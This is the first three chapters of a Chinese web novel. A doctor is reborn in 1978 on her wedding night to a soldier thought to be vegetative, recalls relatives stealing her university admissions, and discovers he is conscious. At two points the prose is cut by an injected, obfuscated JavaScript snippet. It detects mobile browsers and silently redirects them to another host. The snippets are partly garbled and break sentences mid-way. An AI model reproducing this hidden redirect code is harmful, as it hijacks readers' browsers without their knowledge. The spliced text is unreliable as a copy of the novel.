《七零年代大国医》 1. 第1章 鞭炮声阵阵,还有录音机在放着百鸟朝凤。 人们的笑闹声更是不绝于耳。 “谈婶子,不管咋样,三礼总算是结婚了,以后真到了地下,也不至于是孤零零一个人。” “呸呸呸,少胡说。” “我咋胡说了,那军区医院的大夫不都说了,三礼成植物人了,脑子都死了,养得好,也活不过两年。我算着到今年中秋,三礼就昏迷两年了吧。能不能过这个中秋还不一定呢。” “老一辈的都说结婚冲喜,说不定这一冲,三礼就好了。” …… 屋内,沈南星在轻轻揉着自己的眉心。 她正在调配最新一款药物的配方,实验室却忽然起火,报警器失灵,没等她跑出去,安全门就落下,紧接着就是爆炸。 这样的爆炸,她知道自己死定了,唯一的幸运大概就是,不会太痛苦,一下就过去了。 可让她万万没想到的是,她没死。 她重生了。 重生在1978年,她20岁的这年,高考“落榜”之后,她被公社的二流子金元宝讹诈,非说她治坏了他,让她要么嫁给她,要么就去坐牢。 她当然不肯。 她宁愿去死,也不愿意嫁给金元宝那种色鬼流氓。 就在她走投无路之时,谈奶奶问她,愿不愿意嫁给她的植物人孙子,谈礼。 这结婚算是给她孙子冲喜了。 但只要她愿意嫁过来,她以后想读书想继续参加高考,谈家都支持。 上辈子走投无路的沈南星,毫不犹豫地选择,嫁。 如今,她就重生在了此刻,和植物人谈礼冲喜结婚的现场。 低头,她看到自己上身穿的,是件颇有时代特色的红色灯芯绒上衣,下面是黑色涤纶裤子,也就是曾经七八十年代最流行的的确良,脚上是一双偏带布鞋,底子还是手工纳的千层底。 抬头看去,房顶是那种老式木制横梁结构,中间还吊着一个老式灯泡,发着昏黄的光。 那手一摸就掉粉的石灰白墙上,贴着个大大的红双喜剪纸。 远离窗子的那面墙边,摆着张一米宽的木床,上面躺着个皮肤苍白身形瘦削修长的男人,床边的被子外面挂着个尿袋。 沈南星忍不住走近过去。 躺在病床上的男人,正是她的新婚丈夫,植物人谈礼。 看着床上躺着一动不动,脸色苍白,极其瘦削的男人,上辈子的那些早被她埋在脑海深处的记忆,缓缓浮现。 她外祖秦家,是传承数百年的中医世家,家中子侄大多数都死在了抗战中,只有他外公秦安平活了下来,成了秦家唯一的独苗苗。 外公只生了一个女儿,就是沈南星她妈秦菘蓝。 1957年,秦菘蓝和农村出身的大学生沈成山结婚,生下沈南星。 1966年,沈南星8岁,外公秦安平被打倒不幸过世,身为大学教授的母亲秦菘蓝,也被牵连。 生父沈成山迅速离婚划清界限,又娶了个家庭成分好的寡妇,带来一个比沈南星大1岁的女儿。 沈南星就被送回乡下老家,跟着爷爷奶奶叔叔们一大家子过活。 曾经物质生活精神生活都极其丰富的秦家继承人,变成寄人篱下的小可怜。 曾经对她各种疼爱极其热情,态度上还格外小心翼翼的爷奶叔婶们,一瞬间变了嘴脸,对她非打即骂呼来喝去,吃不饱穿不暖,还有永远数不清的活要干。 16岁那年,她刚开始只是感冒发热,最后却被折腾到重病垂危。 村里妇女主任宋秀芳看不下去,一个电话打到省里父亲的工作单位,她才得以被送回省城看病。 原以为总算能留在省城,可知青下乡政策已经非常严格,没有工作又符合年龄的都得下乡。 她凭着从小学到的中医药知识,通过了药材收购站的招工考试,可却被生父和继母私下操作,把这个名额给了继姐,并且在第一时间给她报名下乡插队。 为了“照顾”她,生父和继母通过关系,把她下乡插队的地点就安排在老家村子,理由是继姐一天都没在乡下待过肯定适应不了,她都在乡下那么多年肯定早习惯了,在老家插队家里还能继续照顾她。 照顾? 那是折磨! 日子一天天煎熬着过,终于等到高考恢复,她第一时间报名参加高考。 她很有信心,报的全国最好的京市医学院,她想学西医。 考完试她也觉得自己考得不错,可不知道为何,别人的录取通知书都收到了,就她没有。又等到过完年,别人都要去上学了,她也还没等到通知书。 她求在县城派出所当所长的小姑父帮忙查一查。 小姑父查了说高考成绩属于重大机密,不公开,收到录取通知书那就是考上了,没收到就是没考上。 可能是她报的学校分数太高,填报的人太多,许是就差那么一两分。如果当时别报京市医学院,报本省的应该就能考上了。 小姑父还鼓励她说今年没考上也没事,明年再考,上头已经确定不会再停止高考,年年都能考。 小姑父说的有道理,她觉得自己考得好,但全省那么多人,全国更是有上百万人参加高考,而她报考的又是医学类院校中的第一,她也确实不敢肯定自己就一定能考上。 她失望,但并不气馁,决定好好复习过几个月再参加7月份的高考。 可没过多久,她就被镇上的二流子金元宝讹诈,非说她开的药把他吃坏了,要她嫁给他,不然就得去坐牢,叫她一家所有人都不得安宁! 她当然不会同意,可爷爷奶奶哭天抹泪,叔叔婶婶堂哥堂妹们也都指责她,连累家人。 就在她走投无路万念俱灰时,村上德高望重的谈老太太,问她愿不愿意嫁给谈礼冲喜。 只要她愿意嫁,金家逼婚的事,谈家出面摆平,以后还叫她继续读书考大学。 有人觉得这是趁火打劫。 可对沈南星来说,这绝对是雪中送炭。 她毫不犹豫地答应下来。 于是,在金家上门逼婚之时,谈家老太太也登门了,带着村干部和县里的干部领导一起,跟金家抢人,说她已经答应要嫁给她那个因公负伤的植物人孙子,谁敢来抢她家孙媳妇,就是结死仇。 爷奶问沈南星,是不是真的。 沈南星毫不犹豫点头。 如果真的要嫁,她宁愿嫁给因公负伤的植物人,至少那是个英雄,而不是金元宝那样的流氓色鬼。 上辈子,她嫁过来谈家之后,谈奶奶果真信守承诺,并没有为难她,更没阻拦她继续参加高考,只说希望日后她死了,沈南星能帮着照顾一下谈礼。 3月结婚,7月份她参加第二次高考。 这次高考领导人说为了防止走后门,高考成绩公开。 她不信命,再一次填报京市医学院,终于收到录取通知,但却是海市医学院,去问了才知道是有好心的领导怕她再落榜,帮她改了志愿。 虽然很生气但事已成定局,她就准备去上大学,就在这时省城的父亲打来电话,说她亲生母亲在农场死亡,让她赶紧回省城,一起去给她母亲收尸。 她回去了,再一次落入圈套。 她的录取通知书和村里开的各种证明,都被换给她的继姐沈文慧,让继姐代替她去上大学。 他们还告诉她,她亲妈在被下放到农场的第一年就掉河里了,尸体都没打捞上来。 也是在这时,从继姐口中她才知道,原来她去年12月第一次参加高考就考上了,只是小姑父利用职务之便,截走她的录取通知书,让表姐代替她去上了大学。 在这个一切档案证明都是手写,最多再加一个萝卜章的年代,小姑父作为城关派出所的所长,操作这一切简直易如反掌!他甚至可以重新给表姐弄一份档案! 而小姑父为了阻止她参加第二次高考,怕她发现被顶替的真相,竟然说动爷奶,又拉上金家,要把她嫁给金家那个色鬼二流子,把她永远留在农村! 这才是金元宝算计讹诈逼婚的缘由! 若不是谈奶奶相救,他们的计谋就真成功了。 见她已经嫁到谈家,无法再阻拦她第二次参加高考,为了避免京市医学院出现两个沈南星,姑父就想方设法就更改了她的高考志愿。 这才导致她明明报了京市医学院,最后录取的却是海市医学院。 就算如此,他们也还是没有放过她:骗她回城,再一次夺走她海市医学院的录取通知书和身份。 两次啊。 她两次参加高考,两次考上,两份录取通知,都被他们夺走。 一份,被小姑和姑父夺走,给了表姐。 一份,被父亲和继母夺走,给了继姐。 这还不够,官迷的父亲和继母,还要把她嫁给领导的脑瘫傻儿子来换前程。 她拼命逃出来,想要重新拿回自己的身份和录取通知,可是却发现,满大街贴的都是她的通缉令,她成了杀人犯,被通缉。 上面的名字不是她,可照片是她! 经历这么多,她无法再天真地认为自己能去说清楚,能证明自己清白。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15062987|163014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道自己一旦被抓,就一定会被按死在通缉犯这个身份上。 她只能一路南下逃亡。 作为见不得光的通缉犯,她跟乞丐翻过垃圾堆泔水桶,进过黑工厂,与人贩子斗智斗勇,和真正的杀人犯一起住过桥洞,后来到港城进了黑诊所当学徒…… 庆幸的是,她的医学天赋太过出众,无论是传统中医,还是现代新医,她的悟性和动手能力都超凡卓绝,出色到让人畏惧的地步! 举世罕见的天赋,坚韧无比的心性,再加上持之以恒的努力,才有了后来被全世界富豪名流们都趋之若鹜的天医圣手,才有了被投资者认为是奇迹的医药集团! 她还和中夏国合作,发展推广现代国医,合作开发新药。 可就在她研发新药时,遇上实验室爆炸,她死了却好像又没死。 她重生了。 回到了1978年,她和植物人丈夫的新婚之夜。 沈南星闭上眼睛,深吸口气。 这操蛋的人生。 都说天将降大任于是人也必先苦其心志,她的一辈子也太特么苦了。 终于功成名就,财富地位全都超然众人,她却重生了。 一切成就,全都被抹平。 饶是她已经修身养性多年,情绪鲜少再有波动,此刻也不由得咒骂一句,贼老天! 要她把上辈子的苦再吃一遍? 不可能,绝对不可能。 苦,这辈子她再吃不了一丁点儿! 上辈子她年少单纯,知道家人刻薄,却想象不到人性竟然能恶到那种地步,才会被他们算计成那样。 即便后来她功成名就,可曾经的算计、背判、苦难,那些记忆,永远都在。 她曾经匿名在网上倾诉过,得到的回复却是:苦难是一笔财富,打不倒你的,都会让你更强大,感谢你曾经受过的苦,是那些铺就了你的成功之路。 沈南星:“……” 这苦难给你要不要? 她是秦家继承人,头脑毅力啥也不缺,她不需要苦难来让她成长! 还有,她成功要感谢的人,只有自己,而不是狗屁的苦难。 如果苦难真是财富,那世上怎么还有穷苦? 那些过往的苦难,只会无数次在午夜,缠住她的心脏,扼住她的咽喉…… 她会调节自己,不受影响。 可不代表,她不会恨。 拿着生父给的抚养费,却还把她当牲口使唤的爷奶,夺走她第一份高考录取通知书的表姐,为了把她留在农村算计她嫁给二流子的小姑姑父。 还有她的生父沈成山,在运动开始时举报自己的岳父,后来事态失控,岳父死了,牵连到了妻子,他连妻子也举报,又迅速离婚划清界限。 至于沈南星这个亲生女儿,直接被他抛到乡下,后来还伙同继母夺走她的第二份大学录取通知书,还要把她嫁给领导的脑瘫儿子。 最后她被诬陷成杀人犯,被通缉,不得不南下逃亡。 这其中,怕是也有生父和继母的手笔。 沈南星捂着眼笑了。 她已经有多久多久,没有再想起过这些事,原以为早就忘了,不在意了,毕竟这些人,后来年纪大了下场也不怎么样。 可如今重生,又站在这个时间命运的节点,她回忆起从前,原来这些,她还是历历在目。 果然伤口好了,疤痕还会替你记着疼。 哪怕消了皮肤的疤痕,心上的疤痕也永远都在。 唯一能够真正治愈伤痛的办法就是,让伤痛,从一开始就不要存在。 这些人是晚年凄凉,可他们快快活活地过了好多年呀,凭什么呀? 或许,这就是她重生的意义? 还有就是,上辈子即便她后来在港岛,事业非常成功,可秦氏医馆,无人继承,依然泯灭在时代洪流。 曾经传承几百年的中医世家,就这么烟消云散。 她的母亲秦菘蓝,据说被下放农场的第一年,就失踪,再无音讯。 上辈子她自顾不暇,后来终于有能力寻找时,已然过去太久,什么都找不到了。 她的母亲,生死不知。 长长地舒了一口气。 沈南星脸上露出一个笑容。 重生,或许是一份美好的礼物呢。 她要找到母亲。 她要把秦氏医馆传承下去。 上辈子已然站在事业巅峰,这辈子她只想享受生活,就当个平平无奇的小医生吧。 有怨报怨,有仇报仇。 她其实,一点都不大度。 2. 第2章 房梁上吊着老式钨丝灯泡,散发出昏黄的灯光。 沈南星的目光再度落在眼前床上躺着的植物人身上,这就是她的新婚丈夫,谈礼。 上辈子,一直到她今年7月再次参加高考,8月拿到录取通知书后,又被骗回省城时,他都还没醒,依旧处于植物人状态。 再后来,她一路南下逃亡,到港城进了地下黑诊所,开始了她暗无天日被剥削的黑劳工生涯。 可以说她的外科技术,都是在那个黑诊所,在无数个血糊淋剌的帮派马仔们身上练成的。 再次见到谈礼,已经是她在港岛的黑诊所打黑工的8年后了,算上她逃亡的几年时间,距离她嫁给他,已经过去十几年了。 那一次,港岛某豪门掌权人被恶势力绑架时中枪,赎金还没拿到,当然不能让他死了,也不可能送他去医院。 诊所老板被绑架犯拿枪指着头,最终把她供出来,说她技术最好,让她去给这位被绑架的大佬取子弹。 于是,被枪顶着头的人就换成了她,这样的场面她经历得不少,对于道上的人来说,黑诊所里像她这样技术的医生,绝无仅有,所以通常来说只要她履行医生职责,也没人会伤害她,甚至她在道上也已经相当有名气。 她冷静地给这位大佬做了手术,当时只觉得这位大佬脸上那道从左眼角横跨鼻梁到右边耳根的疤,太过吓人,对他的五官似乎也有些眼熟,但她真没认出来他是谈礼。 毕竟她嫁给他的时候,他已经是躺了一年的植物人,即便家人照顾的很好,可他还是非常瘦,肌肉都掉光了,脂肪也没多少,眼窝深陷,皮肤苍白得近乎透明。 而她做手术的那位大佬,除了那道几乎把他的脸砍成两半的疤之外,他的皮肤是健康的小麦色,身材健硕,目光锐利如鹰。 她实在是没办法把这两人联系在一起。 更何况,谈礼是内陆农村出生农村长大穷当兵的,而这位大佬,据说是港岛某新兴豪门的掌权人。 这两个身份,根本不会有人把他们联系到一起。 沈南星的手指,从床上这个瘦脱相了的男人脸上划过。 现在的他,脸上还没有那道几乎把整张脸劈成两半的恐怖伤疤。 他眉骨很高,鼻梁也很挺,嘴唇干涩泛白,下巴上还有青色胡茬,喉结因为瘦削越发凸出。 他的胸口已经瘦得能看到根根分明的肋骨,心跳缓慢,呼吸平稳绵长。 她并不知道上辈子他是什么时候苏醒的,苏醒后肯定还要复健很长时间,但无论如何,他最终都醒了,那证明他是可以被唤醒的。 上辈子的这个时间,刚嫁给他的时候,她的医术只是比寻常大夫要好一点,面对植物人她也束手无策。 可换做如今的她,这个世界医学水平的天花板,那就不一样了。 嗯,早点把他唤醒,她倒是想知道,他是怎么变成后来港城新兴豪门继承人的。 * 沈家所在的村子叫宋庄村,姓宋的多,姓沈的少。而沈南星嫁过来的谈家,所在的村子叫栾营村。 这俩村子紧挨着,就隔了一条乡村马路。 解放后,到成立人民公社,再划分生产大队时,这俩村子就被划分为同一个生产大队,叫栾宋大队。 谈家是栾营的外来户,就他们一家姓谈。但娶了栾营的媳妇,也算扎根好些年了,谈老太太德高望重。 谈礼的父亲,据说在外地当大官,具体什么官职村里人也弄不清楚,谈奶奶也从不多说。 但过年过节,一定会有各种领导上门探望,也会专门过来拜访谈奶奶。 也正是因此,谈老太找到沈南星,说只要沈南星答应嫁给他的植物人孙子冲喜,金家逼婚的二流子,她来处理。 谈老太承诺说她嫁过来后,还可以继续读书高考,沈南星就同意了冲喜。 于是,金家上门逼婚时,谈老太直接带着县武装部、妇联,还有村里的干部登门,抢婚。 谈老太理直气壮地说:“小南和三礼以前就在处对象,说好到了岁数就结婚,谁曾想三礼出个任务,就成了植物人。现在沈家是不是不打算认这门婚事,要把小南另嫁他人?” 这是从何说起! 沈南星和谈三礼以前就在处对象?没听说过啊。前两天不是还听说谈老太在到处合八字,要给她的孙子冲喜么,咋忽然又变成和小南有婚约了? 沈南星也是愣了一下,但立马就反应过来谈老太这么说的用意。 她也点头,说有这回事。 还说就算谈礼成了植物人,她也不会悔婚。 他是为国家和人民因公负伤的,她怎么会嫌弃,无论他是生是死,还是植物人,她都会嫁给他。 沈家人当然不信这死丫头,啥时候跟那植物人处对象的。 村里的妇女主任宋秀芳,也就是在前几年沈南星被折腾到重病时看不下去,给省里她亲爸单位打电话,把沈南星送去省里看病的那位妇女主任,也给帮腔。 宋秀芳也故意说她知道沈南星和谈礼以前在处对象。 谈礼成了植物人,沈南星这不还经常上门去么,就是因为俩人是对象关系。 宋秀芳还说,其实她们都劝她放弃这门亲事的,没想到这姑娘太重情义了,死活都不愿意在这种时候抛弃谈礼,说只要谈礼没死,哪怕他一直是植物人醒不过来,她也一定要嫁给他! 作为妇女主任,宋秀芳说沈南星这种品德,值得立为军嫂榜样! 因着谈家的“势”,沈南星的“义”,沈家众人和来强娶的金家人,全都无法再强迫,沈南星才得以顺利“嫁”来谈家。 而这就是谈老太说的,解决金家的办法,谈老太果然做到了。还顺带给她挣了一波名声。 不离不弃嫁给可能永远都醒不过来的植物人军人,这简直是道德护身符啊。要不说这小老太够聪明呢。 此刻,这间青砖瓦房,就是她和谈礼新婚之夜的洞房。 床上躺着的这个瘦削俊美的男人,就是她的丈夫谈礼。 沈南星正要给谈礼做个检查,就在这时,外面忽然传来急促的脚步声,还有人在说话。 “建国你可算来了,快些进来瞧瞧吧,白天忙乱得不行这丫头都没好好吃口饭,我刚说叫她出来吃饭,谁知道她趴桌子上不动弹,我还当是睡着了,又叫好几声还是不应,我赶紧去扒拉下看看,谁知道这丫头脸白得跟纸一样,鼻子都不出气儿了!” 老太太声音和步伐都相当焦急,又扯着嗓子高喊,“栓柱,拖拉机咋还没过来,再去催催,赶紧的,往医院送。” “哎哎,这就去。” 高声说话的人就是谈老太太,谈礼的奶奶。 谈礼的父亲据说在外地当大官,反正好像已经有很多年没回来过,但人们都知道谈父每个月都会从邮局寄钱回来。 如今这个家里,就只有谈老太和谈礼奶孙两个,就连谈礼跟沈南星结婚,谈老太也就是给谈礼的父亲发了个电报,要钱,压根儿没人回来。 “婶儿你先别急,我看看再说,不行等民富开拖拉机来了咱就送县医院。” 说这话的人是栾宋大队卫生室的赤脚大夫,宋建国。 上辈子应该也是有这么一遭,她低血糖晕倒,一直不醒,老太太误以为她没气儿了,赶紧叫人把她送县医院,她在县医院住了好几天才出院。 门帘被撩开,有人一头扎进来,看到站着的沈南星,那人步伐猛地一顿,后面跟着的人差点儿撞着他。 “建国,赶紧的啊?”谈老太在后面催,一抬头,就看见站在桌子边的沈南星。 谈老太也是一愣,紧接着就瞪大了眼睛:“丫头你,你……” 宋建国手里还提着药箱子,仔细看着沈南星的面色,脸色不太好,但也还挺正常的。 他松了口气,把药箱子放桌上,冲沈南星笑了笑:“你奶怕你哪儿不舒服,叫我来瞅瞅。” 谈老太不管那么多,三两步走上前去,抓住沈南星的手摸摸,“热的”,又抬手去摸沈南星的鼻子,“有气儿!” 宋建国简直哭笑不得。 这时又有人跑进来,正是住在隔壁的大队会计家的二儿子栓柱,他气喘吁吁地说:“谈奶奶,民富叔在给拖拉机加油,马上就能来,小南姐咋样了啊……哎,小南姐?这,这不没事儿吗?” 沈南星8岁就被送来乡下,都是同一个大队的,互相也都认识,栓柱比她岁数小,就习惯叫她小南姐。 “不行建国,我还是不放心,你来再给好好看看,要不还是去医院做个全身检查?”谈老太道。 宋建国轻咳一声:“婶儿,许是你看错了。” 谈老太顿时瞪眼:“我能看错?闹饥荒那几年我收过的尸比你见过的都多!你当我就试试有没有气儿啊,我还摸了脉的,那脉都不跳了!” 宋建国:“……” 谈老太又看向沈南星:“你这丫头说句话,自己知道你自己刚才到底咋了不?这会儿呢,还有哪儿不舒服的?” 沈南星顿了顿:“刚才忽然就觉得心口疼的很,一口气怎么都喘不上来,然后……就什么都不知道了。我这才刚醒,你们就进来了。” “听听!我没胡说吧,刚才绝对是有问题!去医院,咱还是去医院保险。”谈老太道。 宋建国赶忙说:“婶儿你别急,我先给瞧瞧,有时候人累狠了过去一下子也正常的。” 给沈南星量了血压,听了听心肺音,宋建国看着她说:“脉我就不给你把了,我脉上功夫还不如你,你自己把把脉看有啥不对劲的没有。” 谈老太也赶紧说道:“对对,亏你这丫头自己都是大夫,自己身体哪儿不舒服都不知道。” 沈南星想了一下说道:“ 没什么,就是亏空……低血糖吧。” 正说着,胃就一真抽痛,痉挛一般,她的脸也瞬间又白了,深吸口气说道:“胃也疼。” 村医宋建国立马就点头:“我猜也是,说白了就是饿的。” 栓柱一脸愤愤:“早就听说他们把小南姐关了好几天,都没给饭吃,一家子骨肉呢,怎么狠得下心。” 谈老太一拍大腿:“一群天杀的,以后必有报应!建国,那这咋办,要开药吃吗?” 宋建国:“不用,小南年轻,吃几顿饱饭就养回来了。下回再饿得头晕,赶紧冲碗糖水喝,别再晕了。” 谈老太立马就要去冲糖水,被沈南星给拦着了,她这会儿胃疼得厉害,再喝糖水,那可真是火上浇油。 “奶,您能给我做一碗……面疙瘩汤吗,给我搅个鸡蛋进去。” 谈老太立刻说:“这有啥难的,奶这就去给你做。” 沈南星又问宋建国:“建国叔,您药箱里有针吗,我给自己扎几针。” 宋建国立刻点头,取了针灸的针出来,酒精给消一下毒就递给沈南星。 胃病要针灸的位置,需要脱衣服,宋建国也不方便在这儿,知道沈南星基本功好的很,他就扭头出去了。 没过多久,沈南星就从屋里出来,把针还给宋建国。 宋建国见她没事就打算离开,过去跟厨房的谈老太打声招呼。 “建国那我就不送你了。”谈老太赶紧出来,给宋建国塞了包烟,“办事儿剩的,家里也没人抽。” 送走宋建国,谈老太又让栓柱去通知,不用叫拖拉机过来了。 谈老太又叫沈南星歇着,她扭头出去灶房,捅开煤炉火盖,把上面放的鸭嘴大铝壶挪开,放个铝锅上去,倒上鸭嘴大铝壶里的水,不多会儿水就咕噜噜冒泡。 谈老太干脆利落地把刚才搓的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15062988|163014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小碗面絮疙瘩,下到铝锅里,不断搅拌着,最后再打两个鸡蛋进去,搅开,给撒上一点盐和葱花,这就是农村养胃最好的饭了。 这么朴实的面疙瘩汤,她真是许久许久都没吃过了,扎完针后,再来这么一碗汤,胃里舒服极了。 上辈子南下逃亡和黑诊所打工的那十几年,她的胃早坏了,哪怕医术高明如她,也没法叫自己的肠胃恢复如初,这就是坏了根本了。只能养着,清淡饮食,忌口。 倒是不会要命。 可人生大事,吃喝二字,沈南星从小就是个嘴馋的,后来家破人亡没条件,逃亡路上别说美食了,草根树皮垃圾泔水,她什么没吃过。 后来终于有条件吃,胃却坏了根本,能调理到勉强正常,已经是她医术高明了,想随心所欲吃喝,压根不可能。 任何有滋味的、刺激的,她都吃不了。 捧着鸡蛋面汤小口喝着,沈南星嘴角弯弯,重生的好处又多了一个呢。 现在她的胃也不好,但远远不到坏根本的程度,她可以很快养好。 火锅烧烤,甜食饮料,美酒佳肴,她来了! 看她一碗鸡蛋面汤都能吃得那么高兴,谈老太眼中带着心疼。 “吃完早点歇着,明早睡个大头觉,醒了想吃什么跟奶说。小小年纪胃就不好,以后几十年可咋办。” “谢谢奶奶。”沈南星笑眼弯弯。 正吃着呢,谈礼的大伯大伯母,几个堂哥和一个堂妹全都匆匆赶来,想来是听说这边出了事。 今儿上午沈南星和谈礼结婚,仪式很简单,就是让县里武装部领导和妇联,以及村里的干部们一起,证明这婚姻是自愿的,给他俩扯证。 你说男方还昏迷着? 那又咋了,女方和男方家长都亲口说之前就在处对象,本来打算就是等男方回来,俩人年岁也到了就领证,谁知道等来的是男方成了植物人。但女方还愿意嫁啊,不离不弃,这叫有情有义! 不给他们扯证,是想叫她抛弃为国捐躯的军人对象?这是啥觉悟? 这帽子扣下来,没人敢再说啥,扯证就扯证吧,火速给俩人办了结婚证。 至于说喜宴也简单的很,太仓促了就有啥做啥,也就只摆了三桌,请了领导们和村里关系最近的亲朋。 也不收礼金,就是叫大家做个见证。 这些都是谈家大伯一家子帮着操持的,忙活了一天才回去,还没睡呢就听说这边新娘子出了事,一家子又着急忙慌赶来。 谈礼母亲早死,父亲不在身边,跟着奶奶和大伯一家子生活,他连排行都是跟着大伯一家的几个兄弟排的,说起来,谈大伯谈大娘,其实就跟他亲爹妈一样。 这边农村的方言,对大伯可以叫大伯,也可以叫大爹或者是爹。 谈礼称呼自己亲爹为爸,对他大伯和伯娘,则一直都是喊爹娘,就跟几个堂兄弟们一样的称呼。 这样的关系他结婚,大伯和伯娘必然是要来操持的。 “没事,就是给饿的低血糖。”谈老太立刻说道,“明儿还要上工,你们也赶紧回去睡吧。” 都不是会说客套话的人,大伯一家子见真的没事,就都走了。 吃过糖水荷包蛋,沈南星去洗碗。 住在另一边偏房的谈老太也还没睡,听见声音就喊道:“丢灶房盆子里,明儿早再洗。” 沈南星已经好多年没洗过碗,也没做过其他家务,她是医术上的巨人,生活上的巨婴。 家务活她不是不会,只是不耐烦做,不喜欢做。 不过这会儿就一个碗,还是她用的,她再懒也不至于留到第二天给老太太去洗。 回到屋里,沈南星再次站在床前,看着她的新婚丈夫,植物人谈礼。 上辈子,在给他做过手术后,听说没过多久,绑架他的那个帮派就被连根拔起。 她也没放在心上,以为不会再有交集。毕竟他可是豪门掌权人,有自己的私人医疗团队,别说是做手术了,头疼脑热都会得到最好的医疗资源进行救治。 但似乎是为了报答她的救命之恩,又或者是要封她的口,反正不可能是因为她的技术,他此后也经常找她。 再后来,黑心老板死了,她拿到港岛身份,成了诊所的新主人,也成了他的私人医生,有更多机会仔细看清楚他的身体。 于是,她在他身上发现了属于“谈礼”的印记,在不易被看到的部位,有个胎记,形状像没剥壳的花生。 再仔细回想他的容貌,他的骨相…… 她终于确定,他就是谈礼,是她曾经嫁过的植物人丈夫。 说起来,他俩一直都没离婚呢。 可她不明白,曾经满身军功的谈礼,为什么会变成港岛新兴豪门的掌权人。 她也没跟他提起从前。 毕竟,她可能会认出谈礼,谈礼肯定不会认出她。 再后来,她的小诊所做大,成了港岛赫赫有名的私立医院,接待来自世界各地的富豪名流。 后来又成立公司,业务不断扩大,各种子业务繁多,她的公司已经成了一个庞大的集团。 他呢,生意失败,家族破产,出走东南亚,有人说他已经死了…… 总之她再没见过他。 后来她和中夏安全部门合作,把珍贵的医药配方捐赠给国家,明面上则是国家相关企业和公司的公开合作。 她提过一个要求,希望能查一下他的消息。 最终,有关人员告诉她,他已经死了,他一直是我们的同志,除此之外,再不能告诉她其他任何信息。 回忆一点点淡去,沈南星坐下来,捏住他瘦得只剩下一张皮的手腕,开始认真给他把脉。 下一秒,她不由得挑眉,目光也立刻看向床上的人。 谈礼他,醒着! 3. 第3章 谈礼醒着。 当然,这个醒并不是睁开眼睛的醒,而是大脑醒着,有意识的醒。 这种严格来说并不算是植物人。 这类意识醒着的病人,明明能感知外界的一切,可是却无法指挥自己的身体,就相当于是意识被困在一个瘫痪的躯壳当中,求生不能,求死无门。 比起那些大脑已经没有意识的真正的植物人,这些意识醒着的病人,才是真真正正的活死人。 而这类病人,由于诊断困难,有很大一部分被误诊为无意识的植物人。 如果是在后世脑成像技术进步之后,即便病人的身体完全没有任何反应,那也可以通过病人的脑域活动来判断病人是否有意识。 可如今,CT都没有,更别说其他,对于谈礼这种病人,即便他是真的一直有意识,但因身体没有任何反应,医院也无法对他做出正确诊断。 所以谈礼,算是被误诊了吗? 在详细检查之后,沈南星发现,现在的谈礼,身体的气机非常强大,是普通人的数倍。这样的人,自愈能力非常强。 对比十几年后在港岛认识的那个龙三少,如今的谈礼,虽然是植物人,但他身体气机却比那个时候更加强大。 显然,谈礼身体内这强大的气机,无人能及的自愈能力,就是他成为植物人昏迷几年后,还能醒来的关键所在! 他现在的沉睡,就是身体在自我修复。 不过…… 沈南星看向谈礼,手指摁在他的百会穴,在用气机仔细探查他的同时,也不免感慨,日后那个在港岛叫人闻风丧胆的大佬,在如今此刻,真惨,非常惨。 为什么呢? 因为他的意识绝对不是今天才醒来的,他至少已经苏醒半年以上,那就是说过去的这半年多的时间,他意识完全清醒,身体却半点儿都不受控制。 简直恐怖。 比起那些没有意识的植物人,这些大脑醒着,身体却睡着的,才是真真正正的活死人。 可既然他自愈能力那么强,意识在大脑严重受伤一年左右就恢复了,那为什么无法醒来,意识无法支配身体呢? 某些类似病情的病人,是因为全身瘫痪导致的,还有的是类似闭锁综合征一样的脑部问题导致的,这些病人的身体没有再“醒来”受控的可能。 当然,也有谈礼这种,没有瘫痪也没有其他脑部疾病,但是在意识苏醒之后,却还是怎么都醒不过来的。 以现在的医疗技术,即便明知谈礼现在意识醒着,也没有办法唤醒他。 不过,别人没办法,上辈子的她也没办法,但现在的这个她,有。 只是…… 沈南星不由得想到另一个问题。 上辈子她在跟谈礼结婚后,能力问题,她并没有发现谈礼的意识是醒着的。 所以谈礼呢,其实知道他在植物人状态下,和她结婚了? 那么在港岛黑诊所相遇时,他认出她了吗? 沈南星思来想去,觉得上辈子那个时候的他,应该是没有认出她。 毕竟到了港岛,她的名字已经改了,而在村里所有人的认知中,“沈南星”已经去海市上学了。 他肯定也知道,他的小妻子考上大学后就去海市上学,再没回来过。 所以,港岛黑诊所中的一个小医生,又怎么可能是曾经抛弃他的妻子? 至于说容貌问题,她8岁时被送来老家,跟当时被称为公社一霸的混子谈三礼,也算是从小认识。 但两人相差6岁,从小也不在一起玩儿,小时候的沈南星在谈礼眼中大概就是个同村人家的妹妹。 两人并没有太多交集。 唯一比较重要的交集,大概是她刚被送下乡来的第二年,发高烧晕厥,当时才刚当上赤脚大夫的宋建国说她不行了,除非是送县医院看看还有没有希望,爷奶那些沈家人怎么可能送她去县医院,直接把她用草席子裹起来,停在后山,等她咽气了好挖坑埋了。 当时才15岁的谈礼,冒着大雪骑自行车艰难地把她送去县医院,途中不知道摔了多少跤,到医院还给垫付了20块钱的医药费,终于救了她一命。 后来谈礼18岁去当兵的时候,她才12岁。 再见面的时候,25岁的谈礼已经成植物人被送回来老家休养。 因着她从小跟着外公学中医,会按摩会针灸,谈老太就找上门去,询问要怎么给谈礼按摩,也请她帮忙来家里给谈礼针灸,延缓谈礼的肌肉萎缩。 如今两人结婚,他26,她20。 